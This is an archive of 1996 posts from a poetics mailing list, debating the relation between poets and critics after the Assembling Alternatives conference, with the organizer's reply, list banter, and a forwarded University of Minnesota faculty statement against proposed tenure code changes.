start strikes a "human" (ie conspiratorial,
between him writing and me reading) note:

"In my experience it is a nice thing when
critics are not given the time to
discuss their criticism in a public venue"

I feel, yes, that's the Oscar Wilde-ism I
needed when confronted with so much
bad public criticism. Chris continues:

"as more often than not the talk
turns exclusively away from the actual
text which is supposed to be the
object of inquiry into a discussion of
the wherefores and whatnots of crit
theory or some position vis a vis lit crit theory."

I begin to bristle, as I fear a
"all criticism is bad, un-sensual,
cerebral" (who ever said the cerebral
is not sensual!) anti-theory blast coming.

This fear is not eased by the (rather reactionary?)
point -

"In my humble opinion the venue for criticism which works
best is the printed page."

- which is the kind of social edict I feel bearing
through people's stares at me when I try to
reason out something complex in public and
I start to stutter, fearing calls of Egghead
and Brainbox and Blue Stocking. Then Chris says:

"As opposed to poetry which splurts in many directions."

And I think of the many occasions in which it doesn't,
and on which the first sentence of a lecture,
especially if it's contentious, does (as I hope
I'm demonstrating by showing Chris' ideas, sentence
by sentence, causing splurts in my brain). And I
begin to think, I know where you're coming from
but you don't know where I'm coming from... BUT
Chris suddenly takes off with critical eloquence:

"In my experience it is a rare occasion
when a paper is actually delivered to
*an audience which has access to the text
in question before, during, or after the paper.*

My italics...

"Any close textual reading which does get
done in these situations almost invariably
gets lost in the frame. Subsequently most question
and answer periods seem to revolve around either
issues not supported by the text and/or issues
completely unrelated and dealing more with politics and or
power of the personalities involved in the setting."

I'm not sure what "in the frame" means here,
why just "gets lost" doesn't end the sentence best.
But this is really good detailed criticism, and
criticism of the best kind, because it starts
by taking something undiscussed that has
put many in an isolating rage, which the
critic-champion can skillfully bring
out in the open, and with a really good detailed
narrated observation of what seems typical of

the average critic's lack of interest in
the reader: 'I don't want to persuade, if it
involves work, I want to research and deliver
and go home with an event notched up. I've
spoken soberly, as if from the high ground
of public service, about which I'm less
concerned than I seem, and am really doing
what I'm good at to too little point.'

But that doesn't sound unlike a lot of poets,
who surge at one with their own high ground
(of attachment to the deep things, the muse,
deep feeling, real anger) and I leave thinking
that's like that person I bump into when
shopping who just holds forth and never
listens or asks about me - which, as a
cultural critic not just a poetry critic,
I see as endemic in this phase of consumer
capitalism, a real problem of current
social and inter-personal relations....
I don't want to hear a poet appearing to
perhaps care about this inter-personal
attitude while actually perpetuating it
in performance. Similarly, cults and
single issue pressure groups are a modern
problem insofar as they urge you to go
along with them but quell dissent or
only partial affiliation. Lee Ann Brown's
talk, from Marjorie's description, sounds
like it maybe parodies that while enacting
it while not really moving it on?

My point is (in conclusion!) that Chris is
a critic, and a good one, with great argumentative
skills but some reactionary reductionism. His
well-observed example could as easily have
been used in a (more accomodating, only initially
snubbing) case made for *better criticism*, *good
criticism*.

Given the culture and poetry we have,
we need good criticism. Marjorie has identified
a big problem, a big lack, and it's false healing
(denial!) to say "hey, we don't have a problem, we

don't need this thing we can't have". My question
is, would critics, any more than poets, have
been ready for questions afterwards? You can
make a conference rule that all papers must be
backed up by xeroxes of work discussed, but not
so easily alter the culture. Intellectual fire and
moral urgency are needed to prompt people
(a list as clever as this) to help change the culture.
Needed is a perspective of the importance of criticism
and universities. Just because there is a lot
of very bad indolent contemporary criticism
(and university lit theory), doesn't mean we
should be cynical about the *possibility* of
criticism (heaven forbid that anyone should
be so cynical about the many glass house
abiding poets who squander the possibility
of poetry). Marjorie is a rare example of
good criticism; it seems amazing to me that
some should attack her as a conservative
guarding the rot she is trying to reform.

Ira Lightman

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115. Christina Fairbank Chirot
overlap
Fri 6 Sep 1996

Robert Grenier was All City (Minneapolis) Basketball
Team, 1959.

He was also co-captain and captain, basketball and golf teams.

Michael Jordan--basketball, golf, baseball--would be the overlap of McGraw and Robert Grenier.

--dbc

↑ Index

116. Gwyn McVay
Re: overlap
Fri 6 Sep 1996

---

plug for alma mater: Theodore Roethke was coach of the tennis team at Penn State--

Gwyn

↑ Index

117. Michael Boughn
Re: Marjorie & the poets
Fri 6 Sep 1996

> *It seems to me that Marjorie Perloff's example critique of the unnamed Irish poet is a perfect example of the kind of contemplative and intelligent culture of comments we need.*

A longish note I posted this morning relevant to this seems to have gotten bush-whacked somewhere in e-space (a critical plot?). Perhaps it will come limping in later, in which case this will be redundant, but what the hell, that's never stopped me before.

I wasn't at the event that prompted Professor Perloff's initial post. That said, my sense is that the problem arose as a kind of discharge from the contact of two disonant cultures. Prof. Perloff obviously (according to what she's written here) showed up meaning business. The poets (or some of them) showed up for poetry mystery initiation rituals including singing ditties to old Methodist tunes and making outrageous statements about Irish poetry. It's not for others, who are not taking part in these rituals, to judge them. These cultures as they are revealed in Prof. Perloff's comments seem incommensurable to me, and my initial point, restated, was simply why does everybody have to mean Prof. Perloff's business?

Hooo hooo.

Mike

[redacted]

Oh yeah, one final point from my bushwhacked post. With all due respect to Prof. Perloff, many people think that all this social construction business is just another cult among the School(wo)men, soon to go the way of other cults like the Freud cult, but certainly with no more claim to "reality" or "truth" than my encounters with the muse. Those who disparage the muse are those s/he hasn't deigned to visit.

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118. Michael Boughn
Re: critics and poets
Fri 6 Sep 1996

> *Did I suggest that? They are histories apart, but cross-implicated nonetheless. I have no particular stake in arguing against genre, and in fact I don't think I've ever done so. What I object to is the pairing of poetry and criticism in primary/secondary terms.*

My point is that the relationship is asymmetrical. How are you going to write a book about a poem until the poem gets writ? Is that what you mean by "primary/secondary"?

> *I wonder -- honestly -- whether it's possible to be concerned "strictly with poetry." The history of poetry is littered with failed attempts to articulate such a concern. But that's another thread, and I've already pissed too many people off in this one.*

Well, David, this may be one of those critical issues where it's theoretically impossible, but thousands of people are doing it anyway. They haven't heard, I guess.

And who said anything about being pissed off? This is fun, no?

Mike
[redacted]

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119. Michael Boughn
Re: "Poets vs. Critics"
Fri 6 Sep 1996

---

damon writes:

> *But more to the point, haven't we learned anything from the last 30 years of theory? do we really still have to fetishize "actual texts"*

Personally, they're my favorite, next to rubber clothing and satin shoes with spike heels!

Kinkily,
Mike
[redacted]

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120. **henry g**
Re: overlap
Fri 6 Sep 1996

On Fri, 6 Sep 1996 13:21:25 -0400 Gwyn McVay said:
>plug for alma mater: Theodore Roethke was coach of the tennis team at
>Penn State--

tennis...at Penn... I think there's an overlap there. If you take down the net. -Robert Frost

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121. **maria damon**
Re: "Poets vs. Critics"
Fri 6 Sep 1996

  Sorry, it's just poetry. Theory
> might enrich vocabulary but 30 yrs of it won't teach poetry anything.
> - Henry Gould

theory and poetry, it seems to me, are closer to each other than either is to "criticism," meant in the old-fashioned sense of "secondary commentary on a text." it's obvious that imaginative writing, to the extent that such a thing can be separated from other discourses, anticipates by many decades the discourse of commentary. i think i'll retire from this thread after reiterating that the point, to me, is to understand the "criticism/poetry" binary as illusory. bests, maria d

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122. **henry g**
Re: "Poets vs. Critics"
Fri 6 Sep 1996

On Fri, 6 Sep 1996 12:48:25 -0500 maria damon said:
> Sorry, it's just poetry. Theory
>> might enrich vocabulary but 30 yrs of it won't teach poetry anything.
>> - Henry Gould
>
>theory and poetry, it seems to me, are closer to each other than either is to
>"criticism," meant in the old-fashioned sense of "secondary commentary on a
>text." it's obvious that imaginative writing, to the extent that such a thing
>can be separated from other discourses, anticipates by many decades the
>discourse of commentary. i think i'll retire from this thread after
>reiterating

>that the point, to me, is to understand the "criticism/poetry" binary as
>illusory. bests, maria d

Wallace Stevens would probably agee with you. They'll figure it all out someday, at the Sorbonne. - Henri le Goulash

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123. maria damon
Re: "Poets vs. Critics"
Fri 6 Sep 1996

In message <[redacted]> UB Poetics discussion
group writes:
> damon writes:
>
> > But more to the point, haven't we learned anything from the last 30
> > years of theory? do we really still have to fetishize "actual texts"
>
> Personally, they're my favorite, next to rubber clothing and satin
> shoes with spike heels!
>
> Kinkily,
> Mike
> [redacted]

i must admit, l wear milton to excess, especially at odd hours and with odd acquaintances...md

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124. David Kellogg
Re: critics and poets
Fri 6 Sep 1996

> *David Kellogg said,*
> *We all take our societies one slice at a time. Judging*
> *by this example, your slice seems a bit sour. De gustibus.*
>
> *It seems naive to me to say that poetry needs criticism. Poetry has*
> *existed long before criticism reared its head and will exist long after*
> *criticism has been defunded.*

I honestly don't understand what it means to talk about poetry and criticism in terms this general. The poetry BC (Before Criticism) is not the same as the poetry AC.

> *Poetry is enhanced by criticism and serious poetry engages criticism, among other things.*

Some poetry is, some serious poetry is, yes.

> *On the other hand criticism NEEDS poetry else it wouldn't exist.*
> *And of the poets I know and work with 99.9% would feel no phantom limb pain if criticism were excised from the body. But they would sorely lack for a valuable and, when done well, beautiful resource.*

That's not my point. The post in which I made the phantom pain comparison had nothing to say about individual poets, but a lot to say about the social body of contemporary poetry. Someone else (I forget who now) has complained that such concerns are only about the business of poetry, not poetry as such. Since in my view there is no outside-the-social, I'm skeptical of such distinctions. But hey, that's why this is a fun list. And as Joe Amato nicely pointed out, the folks on this list who have taken this position are quite committed to poetry and are not interested in debasing it.

> *What you, David Kellogg, say about poetry/critics need for each other may be true in certain segments of the poetry community but to extend that beyond certain segments seems problematic. I imagine that a great number of the poets presented in Bob Holman's recent film work do not engage criticism in a very serious fashion & I doubt very seriously any of them would be damaged by its (criticisms) absence.*

The PBS station near us, damn them, didn't carry the USOP, so I can't comment yet specifically on that. But this discussion seems to be turning into a Jurrasic-Park-like "what if" scenario, or, better, a critical "rapture" fantasy (to dig out a term from premillenial fundamentalist Xianity). What if -- poof! -- there were no critics tomorrow? Obviously unanswerable and silly. -- "First, let's kill all the critics." Your point about the USOP poets is historically specific, and that's one reason I take it seriously. But my point was always social, never individual. And if the film itself can be seen as an act akin to criticism, then that example becomes complex indeed, no?

I also want to second Maria's skepticism about the term "criticism," since that's not quite what I do in my "critical" work, and there's a handmaid quality built into the word.

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125. **filch**
Re: critics and poets
Fri 6 Sep 1996

David Kellogg said,
>We all take our societies one slice at a time. Judging
>by this example, your slice seems a bit sour. De gustibus.

It seems naive to me to say that poetry needs criticism. Poetry has existed long before criticism reared its head and will exist long after criticism has been defunded.

Poetry is enhanced by criticism and serious poetry engages criticism, among other things.

On the other hand criticism NEEDS poetry else it wouldn't exist.

And of the poets I know and work with 99.9% would feel no phantom limb pain if criticism were excised from the body. But they would sorely lack for a valuable and, when done well, beautiful resource.

What you, David Kellogg, say about poetry/critics need for each other may be true in certain segments of the poetry community but to extend that beyond certain segments seems problematic. I imagine that a great number of the poets presented in Bob Holman's recent film work do not engage criticism in a very serious fashion & I doubt very seriously any of them would be damaged by its (criticisms) absence.

It may be true that the "Muse" as referenced before in this thread is a little "primitive" (in some minds) but no matter how hard the modern experimental writer/critic tries the "Muse" cannot be taken out of any equation involving poetry.

The existance of the muse does not preclude context or society or anything else no matter how touchingly silly it may sound.

cf

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126. **Jordan Davis**
Re: "Poets vs. Critics"
Fri 6 Sep 1996

okay, poetry v criticism no binary. but what's criticism? where does it exist? at conferences? in journals? in popular magazines, newspapers, on websites, in listservs, at readings, on the phone, at the bar, in the park, on the softball field?

There are still some poets who are amused by the idea of conferences, and bless them. Who are suspicious, but who will listen and smile when you tell them about what happened. Jordan

PS Don't invoke Frost unless you really want to talk about him, in which case, evvybody turn to 'New Hampshire' and let's talk-- otherwise you're cheap shooting, and that's no go in an election year, unless you're a politician (there's a binary)

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127. Rachel Loden
Re: the object
Fri 6 Sep 1996

George Bowering wrote:

> *But Ms Loden said that if i wanted to I could lend the object to Herb Levy, and I had a heck of a time getting it away from him, and then a worse time getting it through customs. Herb said, by the way, that he was disappointed, because he had expected it to change his life. He said that he can get more from a Lyle Lovett CD.*

I don't know what George and Herb did with this thing (and please don't tell me, guys), but, as they say in Paris, the song is not the same. Couldn't you two at least have sprung for a new set of batteries?

Rachel

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128. Jordan Davis
the ghettoization of poetry
Fri 6 Sep 1996

Maria, I had a feeling you might fetishize syntax...

____

the subject line up above is the title of Richard Howard's keynote address to PEN at the ceremony for their translation award (given to Guy Davenport for _7 Greeks_). In that talk he argues that National Poetry Month is the worst thing to happen to poetry in years, and that we must make poetry a secret again (he plays on _secretion_) or risk the loss of 'our heritage.' The title caught my attention, especially in relation to Bob Perelman's book _The Marginalization of Poetry_. Since the apparent subtext of the New Hampshire conference was the dismantling of certain assumptions about power (and irony) in what for lack of jargon I'll call the alternative/academic poetry-in-English community, can anyone speak to this problematic equation of poetry and outside? Maria? J

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129. Joe Amato
Re: critics and poets
Fri 6 Sep 1996

henry, i guess i'm not being my [cough] usual cogent self: what i'm saying---and if it's fashionable to say so this is in part b/c it's accurate---is that there are differences in institutional power, and that these explain different apprehensions of the relationship between "poetry," "criticism," "poets," "critics," etc... and in fact---and this is perhaps where we disagree---that for me to make this claim is contra the claim that there are "essential differences" between these categories (which of course are rubrics under which many of us "live") that are *not* a function of such apprehensions, so described... ergo, as before, institutional power does not resolve to blah blah blah...

best,

joe

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130. Rachel Loden
confidential to Mark Wallace
Fri 6 Sep 1996

Mark Wallace wrote:

> *Anyone on the list who misunderstands the nature of this communication, and the reason why it must take place in a forum claiming to have some relevance to the practice of poetry, is directed to take their concerns to the CIA, who I must say, in all fairness, are experts at policing, despite the dubious goals of the current cloning project.*
>
> *BEWARE ALL CLONES!*

Mark, as I said to you before, please seek help as soon as possible. Your psychosis is advancing by leaps and bounds and I don't want to hear that you turned up on the "raped by aliens" episode of _Geraldo_.

Rachel

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131. henry g
Re: critics and poets
Fri 6 Sep 1996

On Fri, 6 Sep 1996 13:53:22 -0500 Joe Amato said:
>henry, i guess i'm not being my [cough] usual cogent self: what i'm
>saying---and if it's fashionable to say so this is in part b/c it's
>accurate---is that there are differences in institutional power, and that
>these explain different apprehensions of the relationship between "poetry,"
>"criticism," "poets," "critics," etc... and in fact---and this is perhaps
>where we disagree---that for me to make this claim is contra the claim that
>there are "essential differences" between these categories (which of course
>are rubrics under which many of us "live") that are *not* a function of
>such apprehensions, so described... ergo, as before, institutional power
>does not resolve to blah blah blah...

Maybe this ought to be backchanneled! I can't figure out what you're saying! But let me try to respond anyhow! Are you saying that the understanding of what poetry & criticism are is relative - and it's based on different levels of institutional power? It's a kind of sociological reading? I'm not going to argue with its "essential relativity" or non-rel. "Pragmatically" speaking, my own view is that poetry & criticism differ in essence. What I am NOT saying (as I tried to emphasize in previous post) is that POETS & CRITICS are essentially different or necessarily antagonistic. So: if you say - poetry & criticism are not essentially different - then we disagree. But: if you're saying - there's no criteria to judge this, it's all a question of power - then we're talking past each other. It's a different debate. - Henry

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132. Carnography
Both critic and poet, both reader and writer
Fri 6 Sep 1996

The problem would seem to be one of categorization, yet people seem to be arguing over hierarchical significance. This is utterly predictable and understandable: Ask a popular/populist novelist what s/he thinks about difficult prose and you're likely to hear: "There's a lot more writing than reading in that book" (direct quote from Katherine Dunne). Ask a certain (former) Nyorican poet what s/he thinks of Jerome Rothenberg and you're likely to be told that poetry without narrative is elitist poetry--an ironic reversal, since much eighties postmodern fiction claimed to be free of the constraints of traditional narrative for political reasons (Acker, for example).

Fundamentally, these people are defending prejudice as praxis: a certain intolerance is sometimes necessary to a practicing writer. Also, writers are so ignored in America, and writing is such a solitary activity, that there is always an atavistic struggle to assert which kind of writing is most deserving of attention.

Still, I find it amazing that people who are peculiarly trained to understand one another's work would arm-wrestle in the name of a disinterested public.

In this discussion group, people often turn away from questions that frame the aesthetic context. But here it is extremely pertinent: There is a point at which a prejudice toward a particular aesthetic is not only harmless but necessary to the work of a practicig writer. Since we are all writers and readers by virtue of our being in this (written) discussion group, I will speak only of readers who are also writers.

If the wReider listens repeatedly to Machaut in a house full of grotesquely ornate furniture, and associates that environment with pleasure, s/he might seek out writing that has an intricate, ornate and bristling texture. In that case, s/he would be more likely to read Alabaster and Derrida than Whitman and Holman. If the wReider grew up hearing and creating fantastic stories, and associates that activity with pleasure, then s/he might ignore criticism, mistrust poetry, and seek out strong narrative writers like Amado and O'Connor.

In *that* context--in that petrii dish of culturally programmed aesthetic fetishism--what is the use of arguing against privilege or for artistic pre-eminence?

All the best,

Rob Hardin

PS: The poet who writes about criticism--even one whose motive is to categorize critics as minor artistic entities--has in that moment become a critic. Thus, on this poetry list, we are all critics--so long as we discuss the significance of criticism.

"Ticks and tones might shake my throne,
 But frames will never shirt me."

http://www.interport.net/~scrypt

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133. Romana Christina Huk
Assembling Alternatives
Fri 6 Sep 1996

I'm just back on the line, recovering from the event here last weekend and catching up with the chat about it and "poets and critics." I'm probably just tired but I find all of this rather disheartening and surprising, especially Marjorie's almost entirely negative take on the conference. I want to offer a few simple points just to deflate the ballooning implications of the event's planning that have become the topic of conversation. First off, I confess that it was my own bad organization and lack of experience in running conferences that resulted in lack of discussion time; if you look at the schedule again, you'll see that at least one quarter of the time for each session should have been devoted to talk, but since virtually no session started on time(something I should have foreseen), talk became abbreviated. I want to stress, however, that in only one case did this result in no time whatsoever; there WAS time for questions about Philip Mead's fine paper, for example--it just got overtaken by questions directed at Bob Perelman.

Secondly, the program was full of bios and pics of the poets because it was made with the evening audience in mind, not the conference audience. (I think I would have felt pretty silly presenting such a thing to those of us who already know most of these people.) I can see that Marjorie may not have realized this because fewer "members of the public" showed up than I had hoped; if they had, the need for these brochures might have been more apparent. I had no time to make introductions, given the long list of readers each night; it was key that the uninitiated had some sketches of the poets on stage.

These are boring points to make, but I'm trying to show you that in many cases what you're reading as fair or foul intention are the effects of my own poor planning and/or communication. Bigger issues involve the amount of time allowed poets vs. critics, and I must say that the problem never crossed my mind. I thought: all day to the conference (with an hour and a half for afternoon readings) and all night to the readings. What would have been more fair? Most of the poets coming to the conference felt that they needed to read as well as give papers, so I accommodated them to the extent that I could, never even thinking this might be a problem for the critics. The fact was that I had less response from people wishing to give papers than I had hoped, even though the "call" was as widespread as I could manage to make it. Those I "invited" were simply the people whose addresses I had; I asked that information be passed on. And I took papers all the way up until the week before the conference. Go figure.

I won't go on with this. I would have hoped that the conversation would have been about the differences we heard and saw -- some of them illustrative of

writers working at some distance from our conversations on poetics and therefore a bit uncomfortable about coming together as we did. So at times the papers didn't satisfy those who like Marjorie are at a different edge of talk; I was in a less demanding way pleased that the Irish poet whose been batted about a bit here left saying that he had a lot to read, and would do so with pleasure.

That was the point of my doing this.

We should talk now about what makes all of these people "alternative" or no -- talk with them, too. I'm sorry that this event didn't plan well enough that crucial time; I hope someone else does this again soon -- does it better.

Thanks to all who came.

Romana Huk

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134. Christina Fairbank Chirot
Both
Fri 6 Sep 1996

---

re: both

(Not to be confused with Paul Metcalf's book by that name--say Poe and (John Wilkes) Booth at the same time: Both!)

I just learned two things at that college, Mr. Ford, that was ever of any use to me . . . the other was a definition I got out the agronomy books, and I reckon it was even more important to me than the first. It did more to revise my thinking , if I'd really done any thinking up until that time. Before that I'd seen the everything in black and white, good and bad. But after I was set straight I saw that the name you put to a thing depended on where you stood and where it stood. And . . . and here's the definition, right out of the agronomy books: "A weed is a plant out place." I find a hollyhock in my cornfield, and it's a weed. I find it in my yard, and it's a flower."

--Jim Thompson, The Killer Inside Me

--dbc

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135. Gabrielle Welford
Re: critics and poets
Fri 6 Sep 1996

Hey maria, you have so published! :-) gab.

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136. Gary Roberts
poetry and criticism
Fri 6 Sep 1996

As Rene Char put it: There is no pure seat.

This genre struggle (I am aware that here I privilege textual practice over community practice) also seems to be about the ritual use of names. Critical play/work (conference, essay, listserve, poem...) requires forms of identification and procedes by the exchange of these tokens, whereas poetic play/work does not need such an exchange. Acts of criticism such as quotation and allusion at some point involve nominal references which can no longer be deferred. A poetic practice such as the use of a diction need not necessarily involve names, though it can, nor need a poetic use of names be critical. I suppose I cannot imagine a criticism without provided or implied names, though I can imagine such a poetry. And, of course, I can imagine a critical poetry either with or without names. Gary R

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137. Alan Golding
UNH Again
Fri 6 Sep 1996

Alan Golding
Prof. of English, Univ. of Louisville
[redacted]; [redacted]

The possibility that Mike Boughn recently posted to the list of Alan Golding conceivably being wrong about something strikes me as most odd. The two terms--"Golding" and "wrong"--seem directly contradictory.

"But seriously, folks . . ."

Perhaps I *am* just wrong. It's happened plenty of times before. But, Mike, please don't assume it based on Marjorie's half-sentence paraphrase of my talk at the UNH Conference. (Marjorie's comment was accurate enough in terms of the general field within which I moved [scrabbled?], but didn't address my argument, such as it was, and I don't think it was her point / purpose to do so.) Anyway, my talk was more in the spirit of your Steiner quotation than not, and I spent some time talking about how numerous "linguistically innovative" poets seem to hold closer to some version of the Steiner position than they are often stereotyped as doing. But like MD,I'm somewhat uncomfortable with Steiner's rhetoric--in particular, the rhetoric of disease ("symptom," "parasite") and what strikes me as an untenable opposition between "immediacy" and "mediation," as if it were somehow possible to choose between the two. In my talk, I tried to

explore some possible middle ground between the poles of "poet" and "theorist" via some work I like that I see as genuinely generically ambiguous (anti-generic? post-generic?)--Bob Perelman's "The Marginalization of Poetry." I'm trying to work through what I find some intriguing (and moving) moments of self-division in Perelman (and in a longer version, Bernstein), where they end up privileging poetry (which, despite being a critic, I actually have no problem with) in texts that seem to argue against that privileging. And I'm trying to think about to what extent differences between poetry and theory are institutional rather than essential. To me, none of this is quite as simple as the Steiner quotation suggests (though I'll make no inferences from that to Steiner's work generally, since I barely know it). I focused on the institutional in my talk precisely because institutional theorizing (which I distinguished explicitly from the many forms of theorizing or speculative thinking possible) and criticism has not followed through either on its own pomo. premises or on the possibilities offered it by poetry. *Poet-theorists* have done so; writers whom one would identify mainly as academic theorists and critics (like me) have not. I was interested in discussing that continued condition of what Charles B. calls "Frame Lock," and in speculating how texts like Perelman's might help break the deadlock that--to judge from the current discussion--"we" still live within. But c'mon, Mike: you're a part of these institutional networks too, but hardly a parasite, even if that particular aside bugged me some. I'm happy to send you (or anyone) the paper--your feedback is always helpful.

On the conference itself, not much to add to what others have said. No, I didn't feel like a second-class citizen; Marjorie has some understandable reasons for feeling that way, based on some misunderstanding / miscommunication about the terms of her own participation (wd. you agree, M.?) (Whether one complaint counts as "the critics going bonkers," I'm not sure.) I had a great time, and felt no poet-critic divide myself--though maybe I'm not representative 'cause I consider many of the folks there my friends, and anyway, who knows what they said behind my back? Generally, the camaderie and sense of shared interests was very strong--though as someone else said, the Draconian scheduling left almost no chance for differences to be aired, talked through, etc. Critics and poets alike suffered from the exhausting and over-tight scheduling: truncated readings, truncated discussions, truncated everything (including sleep). And there were lousy readings and talks and good readings and talks and people disagreed as to what were the lousy ones and what were the good ones. No surprise there. A lot of the poets I'd heard many times before and pretty much knew what to expect and took great pleasure in getting it (sounds very consumerist, somehow)--mostly the Americans and Bromide and McCaffery. But among those I'd never heard or not heard much, my personal faves were the Anglo-Saxon-ly visceral Maggie O'Sullivan, the high-speed Tom Raworth, the

even higher speed Miles Champion, the sharp-and-lyrical Rae Armantrout, the tone-hopping Lisa Robertson, the Great American Novelist Carla Harryman, ex-Horseman Paul Dutton, monologuiste extraordinaire Hazel Smith, and Apollo and Dionysos, Allen Fisher and cris cheek. Arguing AF's theories of narrative at 3:00 a.m. with these latter two, Tuma, and assorted Irish companions (including a bottle of Jameson's) was a positively Olsonian experience (all the way to the maleness of it, I guess . . .) Every critic should have something like it.

And yes, it should have been called Assembling White Alternatives. Is this some kind of social atavism? Not a single non-white person in sight at the conference, or at least in my sight. And I'm told there was only one at the New Formalism-fest earlier this summer. And we've already talked about Orono.

Nor was there much discussion or imagining of alternatives outside of the academic context in which the conversation took place. When there was, it came mostly from non-US participants, as you'd expect given that the relation of poetry to the academy is very different in England, Ireland, and even (I think--help me on this, listmates) Canada from what it is in the US. Put another way, the alternatives talked about tended to be aesthetic more often than social. (OK, who's going to be the first to jump on me for that distinction?)

Having offered some critique, I now feel ungrateful--I actually had a tremendous time, learned a ton, picked up loads of books I couldn't otherwise get, and generally am amazed simply at the fact Romana Huk could make this thing happen. She deserves endless kudos. And as an antidote to the frustration of discussions and questions cut short--here we are.

Well, that became much longer than I'd planned. Is anyone still awake?

Alan

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138. George Bowering
Re: critics and poets
Fri 6 Sep 1996

> *Mike Boughn wrote:*
>
> *David:*
>
> *George is right. I never suggested poetry could get along fine without criticism. That would be an oversimplification. They are in some sense wed. But let's not pretend they embody the same relation to language. Or that their interests are the same. That somehow they are interchangeable acts.*

David kellog wrote:
>
>Did I suggest that? They are histories apart, but cross-implicated
>nonetheless. I have no particular stake in arguing against genre, and
>in fact I don't think I've ever done so. What I object to is the pairing
>of poetry and criticism in primary/secondary terms.

Wait, wait! When did anyone in this thread say anything about genre? I took it for granted that we were discussing ALL kinds of poetry and ALL kinds of criticism. And help me, please: what is "arguing against genre"? Does that mean disallowing, say, comic verse? Or saying that comic verse is not separable from laments? Whew! Where is this all going?

George Bowering.
"I'm more than human,
2499 West 37th Ave., I'm a woman!"
Vancouver, B.C.,
Canada V6M 1P4
--David Meltzer
fax: [redacted]
e-mail: [redacted]

↑ Index

139. George Bowering
Re: critics and poets
Fri 6 Sep 1996

---

are Bob Grenier and Tug McGraw friends? J

Naw, just good lovers.

George Bowering.
"I'm more than human,
2499 West 37th Ave., I'm a woman!"
Vancouver, B.C.,
Canada V6M 1P4
--David Meltzer
fax: [redacted]
e-mail: [redacted]

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140. George Bowering
Re: overlap
Fri 6 Sep 1996

Well, there are some who say that William carlos Williams was the greatest athlete ever at Penn.

George Bowering.

"I'm more than human,
I'm a woman!"

--David Meltzer

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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141. maria damon
Re: critics and poets
Fri 6 Sep 1996

In message <[redacted]> UB Poetics
discussion group writes:
> Hey maria, you have so published! :-) gab.

its twu its twu, thanks to u & u & u...
thus blurring even further the distinctions...
bests, md

↑ Index

142. Joe Amato
Re: Assembling Alternatives
Fri 6 Sep 1996

romana, i feel it necessary to chime in here that this discussion has made me regret *even more* that i couldn't find a way to your conference... by my account, whether critical or celebratory, post-conference discussion of this sort pays homage to the event...

so hey, good work!...

best,

joe

↑ Index

143. **maria damon**
Re: abolishing tenure as we know it
Fri 6 Sep 1996

dear friends; the regents of my university voted yesterday to adopt changes to the tenure code that give them virtually unlimited license to fire at will. at this time i'd like to issue an SOS to anyone who knows of academic positions coming up at other institutions for which i might be a suitable candidate; i'm very serious about trying to find another job. i append the letter the faculty consultative committee has drafted, just to give you a flavor of the seriousness of the situation. in the meantime, we're trying to unionize, but there's a strong sense that unions are mean and confrontational (very unminnesotan, despite the state's history of progressive populism) so that's not a sure deal either. bests, maria d

From: Gary Engstrand <[redacted]>
Date: Fri, 6 Sep 1996 17:53:38 CST
To: Multiple recipients of list UMN-FAC <[redacted]>
Subject: FCC Press release

>From Faculty Consultative Committee, University of Minnesota
September 6, 1996
Contact Prof. Victor Bloomfield ([redacted])

The Faculty Consultative Committee (FCC) of the University of Minnesota said today that the revisions to the University Tenure Code proposed at yesterday's meeting of the Board of Regents would, if adopted, destroy the University as a major research institution. A statement unanimously adopted by the FCC asserted:

The University of Minnesota's position as a leading research university has been crucial to the economic and social health of the State of Minnesota. The teaching, research, and outreach efforts of its faculty have generated billions of dollars of economic activity, attracted hundreds of millions of research dollars, created tens of thousands of jobs, and taught hundreds of thousands of Minnesota citizens.

Continued University contributions to the well-being of the State depend on our being able to continue to attract and retain the best and most creative faculty. Up to this time we have been able to hold our own, despite severe national competition and declining state funding, because of our strong reputation for educational excellence and academic freedom.

The tenure revision proposal under consideration by the Board of Regents undermines the commonly accepted principles of academic freedom. If adopted, it will quickly and inevitably destroy our reputation, our competitive position, and our ability to serve the citizens of Minnesota.

Contrary to the claims of the outside lawyers and consultants engaged by the Regents, the proposed tenure revisions are drastically outside the norms of Big 10 and other leading research universities. The revisions allow for virtually unlimited administrative arbitrariness in layoffs and salary reductions, and effectively demolish the protections to academic freedom afforded by tenure.

Academic freedom is of primary benefit not to professors, but to society. It allows faculty to do the novel research and develop the unconventional ideas that challenge current wisdom, improve our quality of life, and move civilization forward. Tenure, granted only after years of rigorous testing of probationary faculty, embodies the rules that protect academic freedom. Tenure does not protect faculty from sanctions (including removal) if they are seriously derelict in their duty. But it must protect them from arbitrary actions by vindictive or short-sighted administrators, or pressures from external interest groups.

The changes proposed by the Board of Regents would render such protection meaningless. No sensible prospective faculty member would choose to come to the University of Minnesota when its policies are so out of step with the rest of the nation's leading institutions. Many of our best faculty will choose to leave. And those who stay will hunker down, avoiding controversy and resisting necessary institutional change.

We do not doubt the sincerity of the Regents' "commitment to maintaining and supporting excellence at the University of Minnesota". However, the proposed changes to the tenure code will have just the opposite effect, severely damagingthe University and its ability to contribute to the State. We implore the Regents, in our shared concern and affection for this vital institution, to withdraw their proposed changes and work with the faculty and administration to develop a sounder, less destructive policy.

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144. maria damon
Re: the ghettoization of poetry
Fri 6 Sep 1996

In message <v01530503ae5620a77c04@[166.84.199.56]> UB Poetics discussion group
writes:
> Maria, I had a feeling you might fetishize syntax...

i don't get it...i've never purchased or borrowed a syntax or any other such object in my life. george bowering can attest to this.
>
> ____
>

> the subject line up above is the title of Richard Howard's keynote address
> to PEN at the ceremony for their translation award (given to Guy Davenport
> for _7 Greeks_). In that talk he argues that National Poetry Month is the
> worst thing to happen to poetry in years, and that we must make poetry a
> secret again (he plays on _secretion_) or risk the loss of 'our heritage.'
> The title caught my attention, especially in relation to Bob Perelman's
> book _The Marginalization of Poetry_. Since the apparent subtext of the New
> Hampshire conference was the dismantling of certain assumptions about power
> (and irony) in what for lack of jargon I'll call the alternative/academic
> poetry-in-English community, can anyone speak to this problematic equation
> of poetry and outside? Maria? J

